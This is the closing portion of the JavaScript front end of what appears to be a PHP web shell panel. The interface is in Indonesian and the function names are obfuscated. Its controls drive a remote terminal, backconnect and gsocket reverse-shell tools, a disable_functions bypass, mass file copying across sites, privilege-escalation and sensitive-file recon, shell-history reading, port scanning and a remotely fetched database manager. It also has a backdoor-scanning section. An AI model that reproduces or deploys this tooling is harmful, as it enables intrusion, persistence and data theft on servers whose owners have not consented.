    _g41a44e9(d.count+' threat(s) found — review & quarantine or keep','error');
  }else{
    _gb8e3bb8([]);
    _g41a44e9('Scan complete — no threats detected','ok');
  }
  return d;
}

$('#blueRunBackdoor').onclick=runBackdoorScan;
$('#blueSelectAll').onclick=()=>$$('.blue-threat-cb').forEach(cb=>{cb.checked=true});
$('#blueSelectNone').onclick=()=>$$('.blue-threat-cb').forEach(cb=>{cb.checked=false});
$('#blueDeleteSelected').onclick=()=>{
  const paths = _ged854a8(false);
  _gc98c1cb(paths, 'Pindahkan '+paths.length+' file terpilih ke quarantine?');
};
$('#blueDeleteAll').onclick=()=>{
  const paths = _ged854a8(true);
  _gc98c1cb(paths, 'Quarantine SEMUA '+paths.length+' ancaman terdeteksi?');
};
$('#blueKeepAll').onclick=_g59acc8a;
$('#blueDeleteConfirm').onclick=executeBlueDelete;
$('#blueRefreshQuarantine').onclick=loadBlueQuarantine;
$('#blueRestoreSelected').onclick=()=>restoreBlueQuarantine(_g372f334(false));
$('#blueRestoreAll').onclick=()=>restoreBlueQuarantine(_g372f334(true));
$('#blueRunFullAudit').onclick=()=>blueRunTool('fullaudit','blueOutFullAudit',{path:$('#blueAuditPath').value.trim()});
$('#blueRunRecent').onclick=()=>blueRunTool('recent','blueOutRecent',{path:$('#blueRecentPath').value.trim(),days:parseInt($('#blueRecentDays').value,10)||7});
$('#blueRunWritable').onclick=()=>blueRunTool('writable','blueOutWritable',{path:$('#blueScanPath').value.trim()});
$('#blueRunHidden').onclick=()=>blueRunTool('hidden','blueOutHidden',{path:$('#blueScanPath').value.trim()});
$('#blueRunCron').onclick=()=>blueRunTool('cron','blueOutCron');
$('#blueRunPersistence').onclick=()=>blueRunTool('persistence','blueOutPersistence',{path:$('#bluePersistPath').value.trim()});
$('#blueCopyPersistence').onclick=async()=>{
  const txt=$('#blueOutPersistence').textContent||'';
  if(!txt||txt.includes('Klik Run')) return _g41a44e9('Nothing to copy','error');
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Report copied'); else _g41a44e9('Copy failed','error');
};
$('#blueRunLogs').onclick=()=>blueRunTool('logs','blueOutLogs');
$('#blueRunIoc').onclick=()=>blueRunTool('ioc','blueOutIoc',{path:$('#blueScanPath').value.trim()});
$('#blueRunProcess').onclick=()=>blueRunTool('process','blueOutProcess');
$('#blueCopyBackdoor').onclick=async()=>{
  const txt=$('#blueOutBackdoor').textContent||'';
  if(!txt||txt.startsWith('Scans up to')) return _g41a44e9('Nothing to copy','error');
  const ok = await copyText(txt);
  if(ok) _g41a44e9('Report copied'); else _g41a44e9('Copy failed','error');
};

function _g1ab19a7(){
  openM('#mPortScan');
  $('#psOutput').textContent='Enter target and click Scan.';
  $('#psOutput').className='tool-output empty';
  $('#psTags').innerHTML='';
}

async function runPortScan(){
  const host=$('#psHost').value.trim()||'127.0.0.1';
  const ports=$('#psPorts').value.trim();
  const timeout=parseInt($('#psTimeout').value,10)||1;
  const out=$('#psOutput');
  const tags=$('#psTags');
  out.textContent='Scanning '+host+'…';
  out.className='tool-output';
  tags.innerHTML='';
  const t0=performance.now();
  const d=await api('portscan',{host,ports,timeout});
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    out.textContent=d.error||'Scan failed';
    return _g41a44e9(d.error,'error');
  }
  out.textContent='Resolved: '+(d.ip||host)+' · Scanned: '+d.scanned+' ports · Open: '+(d.open?d.open.length:0)+' · '+ms+'ms';
  if(d.open&&d.open.length){
    tags.innerHTML=d.open.map(p=>'<span class="tool-tag">'+p+'</span>').join('');
  }else{
    tags.innerHTML='<span class="tool-tag closed">No open ports found</span>';
  }
}

function _gPathToNav(absPath){
  if(!absPath) return '';
  const b=(BASE||'').replace(/\\/g,'/').replace(/\/+$/,'');
  const p=String(absPath).replace(/\\/g,'/').replace(/\/+$/,'');
  if(!b) return p;
  const bl=b.toLowerCase(), pl=p.toLowerCase();
  if(pl===bl) return '';
  if(pl.startsWith(bl+'/')) return p.slice(b.length).replace(/^\//,'');
  return p;
}

function openVhostHint(){
  openM('#mVhostHint');
  const scan=$('#vhScanPath');
  if(scan && !scan.value.trim()) scan.value=S.path||'';
  $('#vhOutput').textContent='Klik Scan untuk mengumpulkan hint subdomain/vhost.';
  $('#vhOutput').className='tool-output tall empty sec-terminal-out';
  $('#vhTableWrap').style.display='none';
  $('#vhTableBody').innerHTML='';
  $('#vhMeta').textContent='—';
}

async function runVhostHint(){
  const out=$('#vhOutput');
  const tbody=$('#vhTableBody');
  const wrap=$('#vhTableWrap');
  out.textContent='Mengumpulkan hint…';
  out.className='tool-output tall sec-terminal-out';
  const path=$('#vhScanPath').value.trim();
  const d=await api('vhost_hint',{path});
  if(!d.ok && !d.hints?.length){
    out.textContent=d.error||d.output||'Tidak ada hint';
    wrap.style.display='none';
    $('#vhMeta').textContent='0 hint';
    return _g41a44e9(d.error||'Tidak ada hint','error');
  }
  out.textContent=d.output||'(no output)';
  out.className='tool-output tall sec-terminal-out';
  const hints=d.hints||[];
  $('#vhMeta').textContent=(d.methods?.length?d.methods.join(', ')+' · ':'')+hints.length+' hint';
  if(hints.length){
    wrap.style.display='block';
    tbody.innerHTML=hints.map(h=>{
      const p=esc(h.path||'');
      const canOpen=h.readable&&h.path;
      return '<tr><td>'+esc(h.domain)+'</td><td title="'+p+'">'+p+'</td><td>'+esc(h.source)+'</td><td class="vh-open">'+
        (canOpen?'<button type="button" class="btn btn-ghost btn-sm vh-open-btn" data-path="'+p+'">Buka folder</button>':'—')+
        '</td></tr>';
    }).join('');
    tbody.querySelectorAll('.vh-open-btn').forEach(btn=>{
      btn.onclick=()=>{
        const nav=_gPathToNav(btn.getAttribute('data-path'));
        closeM('#mVhostHint');
        navigate(nav);
      };
    });
  }else wrap.style.display='none';
}

let ltFollowTimer=null;
let ltFollowSize=0;
let ltFollowActive=false;

function stopLogFollow(){
  ltFollowActive=false;
  if(ltFollowTimer){ clearInterval(ltFollowTimer); ltFollowTimer=null; }
  const badge=$('#ltFollowBadge');
  if(badge) badge.hidden=true;
  const fb=$('#ltFollow');
  if(fb) fb.textContent='Follow';
}

function setLogTailTab(tab){
  $$('.lt-tab').forEach(el=>el.classList.toggle('active',el.getAttribute('data-lt-tab')===tab));
  $('#ltPaneLog').classList.toggle('active',tab==='log');
  $('#ltPaneBash').classList.toggle('active',tab==='bash');
  const tail=$('#ltTail'), fol=$('#ltFollow'), bash=$('#ltBashLoad');
  if(tail) tail.style.display=tab==='log'?'':'none';
  if(fol) fol.style.display=tab==='log'?'':'none';
  if(bash) bash.style.display=tab==='bash'?'':'none';
  if(tab==='bash') stopLogFollow();
}

async function loadLogTailPresets(){
  const sel=$('#ltPreset');
  if(!sel) return;
  sel.innerHTML='<option value="">— pilih preset —</option>';
  const d=await api('log_tail_presets',{});
  if(!d.ok||!d.presets?.length) return;
  d.presets.forEach(p=>{
    const o=document.createElement('option');
    o.value=p.path;
    o.textContent=p.label+' · '+p.path;
    sel.appendChild(o);
  });
}

function openLogTailer(){
  openM('#mLogTailer');
  setLogTailTab('log');
  stopLogFollow();
  ltFollowSize=0;
  $('#ltOutput').textContent='Pilih preset atau path, lalu Tail.';
  $('#ltOutput').className='tool-output tall empty sec-terminal-out';
  $('#ltBashOutput').textContent='Klik Load History untuk tail .bash_history / .zsh_history.';
  $('#ltBashOutput').className='tool-output tall empty sec-terminal-out';
  $('#ltMeta').textContent='—';
  if(!$('#ltPath').value.trim()) loadLogTailPresets();
}

function _gLtApplyFilter(text){
  const f=$('#ltFilter')?.value.trim();
  if(!f) return text;
  const re=new RegExp(f.replace(/[.*+?^${}()|[\]\\]/g,'\\$&'),'i');
  return text.split('\n').filter(l=>re.test(l)).join('\n');
}

async function runLogTail(append){
  const path=($('#ltPath')?.value||'').trim();
  if(!path){ return _g41a44e9('Isi path log','error'); }
  const lines=parseInt($('#ltLines')?.value,10)||100;
  const out=$('#ltOutput');
  if(!append){
    out.textContent='Membaca '+path+'…';
    out.className='tool-output tall sec-terminal-out';
  }
  const payload={path,lines};
  if(append&&ltFollowSize>0) payload.since_byte=ltFollowSize;
  const d=await api('log_tail',payload);
  if(!d.ok){
    if(!append) out.textContent=d.error||'Gagal tail';
    stopLogFollow();
    return _g41a44e9(d.error,'error');
  }
  ltFollowSize=d.size!=null?d.size:ltFollowSize;
  let chunk=_gLtApplyFilter(d.content||'');
  if(append&&chunk){
    out.textContent=(out.textContent||'')+(out.textContent&&!out.textContent.endsWith('\n')?'\n':'')+chunk;
    out.scrollTop=out.scrollHeight;
  }else{
    out.textContent=chunk||'(kosong)';
    out.className='tool-output tall sec-terminal-out';
  }
  $('#ltMeta').textContent=(d.method||'php')+' · '+path+' · '+fmtBytes(d.size||0);
}

function toggleLogFollow(){
  if(ltFollowActive){
    stopLogFollow();
    return;
  }
  ltFollowActive=true;
  $('#ltFollow').textContent='Stop';
  $('#ltFollowBadge').hidden=false;
  runLogTail(false).then(()=>{
    if(!ltFollowActive) return;
    ltFollowTimer=setInterval(()=>{ if(ltFollowActive) runLogTail(true); }, 2500);
  });
}

async function runBashHistoryTail(){
  const lines=parseInt($('#ltBashLines')?.value,10)||150;
  const out=$('#ltBashOutput');
  out.textContent='Memuat history…';
  out.className='tool-output tall sec-terminal-out';
  const d=await api('bash_history_tail',{lines});
  if(!d.ok){
    out.textContent=d.error||d.output||'Gagal';
    return _g41a44e9(d.error||'Gagal','error');
  }
  out.textContent=d.output||'(kosong)';
  $('#ltMeta').textContent=(d.sections?.length||0)+' file history';
}

function _gbec4f7b(d){
  const el=$('#dbResult');
  if(!el) return;
  if(!d.ok){
    el.innerHTML='<div class="tool-output">'+esc(d.error||'Error')+'</div>';
    return;
  }
  if(d.type==='exec'){
    el.innerHTML='<div class="tool-output">Query executed.'+(d.message?' '+esc(d.message):'')+'</div>';
    $('#dbMeta').textContent='OK · exec';
    return;
  }
  if(!d.rows||!d.rows.length){
    el.innerHTML='<div class="tool-output empty">No rows returned ('+(d.count||0)+')</div>';
    $('#dbMeta').textContent='0 rows';
    return;
  }
  const cols=d.columns||Object.keys(d.rows[0]);
  let html='<div class="db-result-wrap"><table><thead><tr>';
  cols.forEach(c=>{ html+='<th>'+esc(c)+'</th>'; });
  html+='</tr></thead><tbody>';
  d.rows.forEach(row=>{
    html+='<tr>';
    cols.forEach(c=>{ html+='<td title="'+esc(String(row[c]!=null?row[c]:''))+'">'+esc(String(row[c]!=null?row[c]:''))+'</td>'; });
    html+='</tr>';
  });
  html+='</tbody></table></div>';
  el.innerHTML=html;
  $('#dbMeta').textContent=d.count+' row(s)';
}

async function _g0ebaf33(forceSync){
  openM('#mAdminer');
  const loading=$('#dbIframeLoading');
  const status=$('#dbIframeStatus');
  const iframe=$('#dbIframe');
  if(loading) loading.classList.remove('hidden');
  if(status) status.textContent='';
  if(iframe){ iframe.style.visibility='hidden'; iframe.src='about:blank'; }
  const d=await api('mysql_manager_sync',{force:!!forceSync});
  if(!d.ok){
    if(status) status.textContent=d.error||'Gagal';
    return _g41a44e9(d.error||'Gagal sync mysql_manager.php','error');
  }
  if(status){
    status.textContent=d.downloaded?'Diunduh dari gist.':(d.warning|| (d.cached?'Pakai salinan lokal.':''));
  }
  if($('#dbMeta')){
    $('#dbMeta').textContent='mysql_manager.php'+(d.downloaded?' · baru diunduh':' · siap');
  }
  if(iframe){
    iframe.src=(d.url||'mysql_manager.php')+'?embed=1&_='+Date.now();
    iframe.onload=()=>{
      if(loading) loading.classList.add('hidden');
      iframe.style.visibility='visible';
    };
  }
}

function _g0ebaf33OpenTab(){
  api('mysql_manager_sync',{}).then(d=>{
    if(d.ok) window.open(d.url||'mysql_manager.php','_blank');
    else _g41a44e9(d.error||'Gagal','error');
  });
}

// ─── Context Menu ────────────────────────────────────────────────
const ctxEl=$('#ctx');
function _gde3bca7(e,path,isDir,name,editable,perm){
  const isZip = !isDir && _g4b31ca5(name);
  const canPaste = S.clipboard && S.clipboard.paths.length;
  const clipHint = canPaste ? `<div class="clip-indicator">${S.clipboard.paths.length} in clipboard (${S.clipboard.mode})</div>` : '';
  ctxEl.innerHTML=`
    <button class="ci" data-a="open">${_bi('eye')}${isDir?'Buka folder':'Buka'}</button>
    ${!isDir&&editable?`<button class="ci" data-a="edit">${_bi('pencil')}Edit</button>`:''}
    ${!isDir?`<button class="ci" data-a="dl">${_bi('download')}Unduh</button>`:''}
    <div class="ctx-sep"></div>
    <button class="ci" data-a="copy">${_bi('copy')}Salin</button>
    <button class="ci" data-a="cut">${_bi('scissors')}Potong</button>
    <button class="ci${canPaste?'':' disabled'}" data-a="paste"${canPaste?'':' disabled'}>${_bi('clipboard')}Tempel di sini</button>
    ${clipHint}
    <div class="ctx-sep"></div>
    ${isZip?`<button class="ci" data-a="unzip">${_bi('file-earmark-zip')}Ekstrak di sini</button>`:''}
    <button class="ci" data-a="zip">${_bi('file-earmark-zip')}${isZip?'ZIP ulang':'Kompres ZIP'}</button>
    <div class="ctx-sep"></div>
    <button class="ci" data-a="chmod">${_bi('shield-lock')}Izin (Chmod)</button>
    <button class="ci" data-a="rename">${_bi('pencil')}Ubah nama</button>
    <button class="ci danger" data-a="delete">${_bi('trash')}Hapus</button>`;
  ctxEl.style.left=Math.min(e.clientX,innerWidth-240)+'px';
  ctxEl.style.top=Math.min(e.clientY,innerHeight-320)+'px';
  ctxEl.classList.add('open');
  S.ctxFocusIdx = 0;
  const items = [...ctxEl.querySelectorAll('.ci:not(.disabled):not([disabled])')];
  items.forEach((it,i)=> it.classList.toggle('focus', i === 0));
  ctxEl.querySelectorAll('[data-a]').forEach(b=>{
    b.onclick=()=>{ctxEl.classList.remove('open');const a=b.dataset.a;
      if(a==='open')_g6e4bd74(path,isDir,editable);
      else if(a==='edit')openEditor(path);
      else if(a==='dl') window.location='?download='+encodeURIComponent(path);
      else if(a==='copy')_gd8170b9([path]);
      else if(a==='cut')_g7a521f0([path]);
      else if(a==='paste')clipPaste();
      else if(a==='zip')_gcbe8d0c([path]);
      else if(a==='unzip')extractZip(path);
      else if(a==='rename')_g2499ec4(path,name);
      else if(a==='delete')_g37a9f77(path,name,isDir);
      else if(a==='chmod')_g8402a3f(path,perm);
    };
  });
}
document.addEventListener('click',()=>ctxEl.classList.remove('open'));

// ─── Search ──────────────────────────────────────────────────────
const searchInput = $('#searchInput');
if (searchInput) {
  searchInput.addEventListener('input',e=>{
    clearTimeout(S.searchTimer);
    const q=e.target.value.trim();
    if(!q){$('#srList').classList.remove('open');return}
    S.searchTimer=setTimeout(async()=>{
      const d=await api('search',{path:S.path,query:q});
      const sr=$('#srList');
      if(!d.results.length){sr.innerHTML='<div class="sr-item" style="color:var(--tx3)">No results</div>';sr.classList.add('open');return}
      sr.innerHTML=d.results.map(r=>`<div class="sr-item" data-path="${esc(r.path)}" data-dir="${r.is_dir}">${ico(r.icon)}<span>${_g12f41ac(r.name,q)}</span><span class="sr-path">${esc(r.path)}</span></div>`).join('');
      sr.classList.add('open');
      sr.querySelectorAll('.sr-item[data-path]').forEach(item=>item.onclick=()=>{sr.classList.remove('open');searchInput.value='';_g6e4bd74(item.dataset.path,item.dataset.dir==='true',true)});
    },240);
  });
  searchInput.addEventListener('keydown', e=>{
    if(e.key !== 'Enter') return;
    const first = $('#srList .sr-item[data-path]');
    if(first){ e.preventDefault(); first.click(); }
  });
}
document.addEventListener('click',e=>{if(!e.target.closest('.search-wrap'))$('#srList').classList.remove('open')});

// ─── View ─────────────────────────────────────────────────────────
function _gbc4c8e8(v){
  S.view=v; localStorage.setItem('gecko_view',v);
  $('#btnList').classList.toggle('active',v==='list');
  $('#btnGrid').classList.toggle('active',v==='grid');
  const gsp = $('#gridSizePills');
  if(gsp) gsp.style.display = v === 'grid' ? '' : 'none';
  _g6a69c1a();
}
S.view=localStorage.getItem('gecko_view')||'list';
$('#btnList').classList.toggle('active',S.view==='list');
$('#btnGrid').classList.toggle('active',S.view==='grid');

// ─── Wire-up ─────────────────────────────────────────────────────
$('#btnRefresh').onclick=()=>navigate(S.path);
$('#btnLogout').onclick=async()=>{
  try{await api('logout');}catch(e){}
  location.reload();
};
$('#btnTerm').onclick=$('#sbTerm').onclick=_ge1393d2;
$('#sbCron').onclick=_g8c57304;
$('#sbRecover').onclick=_g6a2b283;
$('#recRun').onclick=runRecover;
$('#sbFindWritable').onclick=_g80f4a4e;
$('#fwRun').onclick=runFindWritable;
$('#fwUseCurrent').onclick=()=>{
  const pathEl=$('#fwPath');
  const cur=typeof toAbsolutePath==='function'?_gbd651e8(S.path||''):(S.path||'');
  if(pathEl) pathEl.value=(cur&&cur!=='')?cur:'/var/www/html';
};
$('#sbMassCopy').onclick=_g3c081c7;
$('#mcRun').onclick=runMassCopy;
if($('#mcV2')) $('#mcV2').onchange=_g39b0246;
if($('#mcV3')) $('#mcV3').onchange=_g4c90e56;
$('#mcCopyUrls').onclick=mcCopyUrls;
$('#mcDownloadTxt').onclick=_g50ad757;
$('#sbBypassDf').onclick=openBypassDf;
if($('#bpRun')) $('#bpRun').onclick=runBypassDf;
if($('#bpCheck')) $('#bpCheck').onclick=()=>checkBypassDf(false);
$('#sbBackconnect').onclick=_g4a0a162;
$('#sbGsocket').onclick=_g61f8237;
$('#sbPortScan').onclick=_g1ab19a7;
$('#sbVhostHint').onclick=openVhostHint;
$('#sbLogTailer').onclick=openLogTailer;
$('#vhScan').onclick=runVhostHint;
$('#vhCopy').onclick=async()=>{
  const txt=$('#vhOutput').textContent||'';
  if(!txt||txt.includes('Klik Scan')) return _g41a44e9('Nothing to copy','error');
  const ok=await copyText(txt);
  if(ok) _g41a44e9('Copied'); else _g41a44e9('Copy failed','error');
};
$$('.lt-tab').forEach(tab=>{ tab.onclick=()=>setLogTailTab(tab.getAttribute('data-lt-tab')); });
$('#ltPreset').onchange=()=>{
  const v=$('#ltPreset').value;
  if(v) $('#ltPath').value=v;
};
$('#ltTail').onclick=()=>{ stopLogFollow(); ltFollowSize=0; runLogTail(false); };
$('#ltFollow').onclick=toggleLogFollow;
$('#ltBashLoad').onclick=runBashHistoryTail;
$('#ltCopy').onclick=async()=>{
  const tab=$('.lt-tab.active')?.getAttribute('data-lt-tab');
  const el=tab==='bash'?$('#ltBashOutput'):$('#ltOutput');
  const txt=el?.textContent||'';
  if(!txt||txt.includes('Klik')||txt.includes('Pilih')) return _g41a44e9('Nothing to copy','error');
  const ok=await copyText(txt);
  if(ok) _g41a44e9('Copied'); else _g41a44e9('Copy failed','error');
};
$('#sbAdminer').onclick=()=>_g0ebaf33(false);
if($('#dbRefreshManager')) $('#dbRefreshManager').onclick=()=>_g0ebaf33(true);
$('#dbOpenAdminer').onclick=_g0ebaf33OpenTab;
$('#cronReload').onclick=loadCron;
$('#cronSave').onclick=saveCron;
$('#bcStart').onclick=_g294703c;
$('#gsRun').onclick=_g242db1d;
$('#psScan').onclick=runPortScan;
$('#sbSecHub').onclick=()=>_g7273c93('recon');
$('#sbSecRecon').onclick=()=>_g7273c93('recon');
$('#sbSecSensitive').onclick=()=>_g7273c93('sensitive');
$('#sbSecHttp').onclick=()=>_g7273c93('http');
$('#sbSecPrivesc').onclick=()=>_g7273c93('privesc');
$('#sbBlueHub').onclick=()=>_g4c0f2a4('backdoor');
$('#sbBlueBackdoor').onclick=()=>_g4c0f2a4('backdoor');
$('#sbBluePersistence').onclick=()=>_g4c0f2a4('persistence');
$('#sbBlueAudit').onclick=()=>{ _g4c0f2a4('fullaudit'); };
$('#sbNewFile').onclick=()=>_gceda862('file');
$('#sbNewFolder').onclick=()=>_gceda862('folder');
$('#sbUpload').onclick=()=>openM('#mUpload');
$('#sbDelSel').onclick=deleteSelected;
$('#btnList').onclick=()=>_gbc4c8e8('list');
$('#btnGrid').onclick=()=>_gbc4c8e8('grid');
$('#btnUp').onclick = () => {
    const p = S.path;
    if (!p) return;
    
    // Handle Windows drive path
    if (p.match(/^[A-Za-z]:\//)) {
        let drive = p.substring(0, 2);
        let afterDrive = p.substring(2).replace(/^\//, '');
        
        if (!afterDrive) {
            // At drive root, go to default base or stay
            return;
        } else {
            let parts = afterDrive.split('/');
            parts.pop();
            let newPath = drive + '/' + (parts.join('/') || '');
            if (newPath !== drive + '/') {
                newPath = newPath + '/';
            }
            navigate(newPath);
        }
    }
    // Handle absolute Linux path
    else if (p.startsWith('/')) {
        if (p === '/') return;
        
        let cleanPath = p;
        if (cleanPath !== '/' && cleanPath.endsWith('/')) {
            cleanPath = cleanPath.slice(0, -1);
        }
        
        const parts = cleanPath.split('/');
        parts.pop();
        let newPath = parts.join('/') || '/';
        if (newPath !== '/') {
            newPath = newPath + '/';
        }
        navigate(newPath);
    }
    // Handle relative path
    else {
        const pts = p.split('/');
        pts.pop();
        navigate(pts.join('/'));
    }
};

// ─── Sidebar drawer (mobile) ─────────────────────────────────────
const sidebar = $('#sidebar');
const sbBackdrop = $('#sbBackdrop');
const btnBurger = $('#btnBurger');
const isMobile = () => window.matchMedia('(max-width: 960px)').matches;

function _g0efae95(){
  if (!isMobile()) return;
  sidebar.classList.add('open');
  sbBackdrop.classList.add('show');
  // Frame delay supaya transition sempat dipicu
  requestAnimationFrame(()=>sbBackdrop.classList.add('open'));
  btnBurger.setAttribute('aria-expanded','true');
  document.body.style.overflow = 'hidden';
}
function _g559d160(){
  sidebar.classList.remove('open');
  sbBackdrop.classList.remove('open');
  btnBurger.setAttribute('aria-expanded','false');
  document.body.style.overflow = '';
  // Hapus .show setelah transition selesai agar backdrop tidak menghalangi klik
  setTimeout(()=>{ if (!sbBackdrop.classList.contains('open')) sbBackdrop.classList.remove('show'); }, 240);
}
function _ga01c193(){
  sidebar.classList.contains('open') ? _g559d160() : _g0efae95();
}
btnBurger.addEventListener('click', _ga01c193);
sbBackdrop.addEventListener('click', _g559d160);

// Auto-close drawer ketika user menekan tombol di sidebar (di mobile)
sidebar.addEventListener('click', e => {
  if (!isMobile()) return;
  const btn = e.target.closest('.sb-btn');
  if (btn) _g559d160();
});

// Auto-close ketika resize ke desktop
let resizeRaf;
window.addEventListener('resize', () => {
  cancelAnimationFrame(resizeRaf);
  resizeRaf = requestAnimationFrame(() => {
    if (!isMobile() && sidebar.classList.contains('open')) _g559d160();
  });
});

// ─── Hotkeys ─────────────────────────────────────────────────────
document.addEventListener('keydown',e=>{
  if(e.ctrlKey&&e.key==='k'){e.preventDefault();if(searchInput)searchInput.focus()}
  if(e.ctrlKey&&e.key==='`'){e.preventDefault();_ge1393d2()}
  if(e.key==='F5'){e.preventDefault();navigate(S.path)}
  if(e.ctrlKey&&e.key==='s'&&$('#mEditor').classList.contains('open')){e.preventDefault();saveEditor()}
  if(e.key==='?' && !e.target.matches('input,textarea,select,[contenteditable]')){ e.preventDefault(); openM('#mKeyboard'); }
  const inField = e.target.matches('input,textarea,select,[contenteditable]');
  if(!inField && (e.ctrlKey||e.metaKey) && e.key==='c' && S.selected.size){
    e.preventDefault(); _gd8170b9([...S.selected]);
  }
  if(!inField && (e.ctrlKey||e.metaKey) && e.key==='x' && S.selected.size){
    e.preventDefault(); _g7a521f0([...S.selected]);
  }
  if(!inField && (e.ctrlKey||e.metaKey) && e.key==='v' && S.clipboard && S.clipboard.paths.length){
    e.preventDefault(); clipPaste();
  }
  if(e.key==='Escape'){
    if (sidebar.classList.contains('open')) _g559d160();
    if (S.selected.size) _g2f51fb0();
    closeAll();
  }
});

const _bulkDelBtn = $('#bulkDel');
if(_bulkDelBtn) _bulkDelBtn.onclick = deleteSelected;
const _bulkDlBtn = $('#bulkDl');
if(_bulkDlBtn) _bulkDlBtn.onclick = bulkDownload;
const _bulkCloseBtn = $('#bulkClose');
if(_bulkCloseBtn) _bulkCloseBtn.onclick = _g2f51fb0;
const _bulkCopyBtn = $('#bulkCopy');
if(_bulkCopyBtn) _bulkCopyBtn.onclick = ()=>_gd8170b9([...S.selected]);
const _bulkCutBtn = $('#bulkCut');
if(_bulkCutBtn) _bulkCutBtn.onclick = ()=>_g7a521f0([...S.selected]);
const _bulkPasteBtn = $('#bulkPaste');
if(_bulkPasteBtn) _bulkPasteBtn.onclick = ()=>clipPaste();
const _bulkMoveBtn = $('#bulkMove');
if(_bulkMoveBtn) _bulkMoveBtn.onclick = ()=>_ge3f59ef('move', [...S.selected]);
const _bulkZipBtn = $('#bulkZip');
if(_bulkZipBtn) _bulkZipBtn.onclick = ()=>_gcbe8d0c([...S.selected]);
$('#transferOk').onclick = executeTransfer;
$('#zipOk').onclick = executeZip;
_g3e53393();

// ─── Init ─────────────────────────────────────────────────────────
const initPath = _g35b319b();
if (initPath) {
    navigate(initPath);
} else {
    // Jika tidak ada path, set S.path ke BASE atau biarkan kosong
    // Tapi breadcrumb akan menampilkan baseDirName
    S.path = '';
    _g8e26e85();
    // Load files from BASE
    navigate('');
}

loadInfo();
loadDrives();
_g083369c();
_g594530b();
_gFileFilterInit();
_gSbMenuFilterInit();
_gInjectUiIcons();
_gSbPinInit();
_gSbResizeInit();
_gRecentRender();
_gImgHoverInit();
_gCtxKeyboardInit();
const _gspInit = $('#gridSizePills');
if(_gspInit) _gspInit.style.display = S.view === 'grid' ? '' : 'none';
_gb0ab632();
const _btnCopyPath = $('#btnCopyPath');
if(_btnCopyPath) _btnCopyPath.onclick = copyCurrentPath;
const _stPath = $('#stPath');
if(_stPath) _stPath.onclick = copyCurrentPath;
const _btnHelp = $('#btnHelp');
if(_btnHelp) _btnHelp.onclick = ()=>openM('#mKeyboard');
$$('#blueFilterBar .blue-filter').forEach(btn=>{
  btn.onclick = ()=>{
    S.blueSevFilter = btn.dataset.sev || 'ALL';
    _gb8e3bb8(S.blueFindings);
  };
});
</script>
</body>
</html>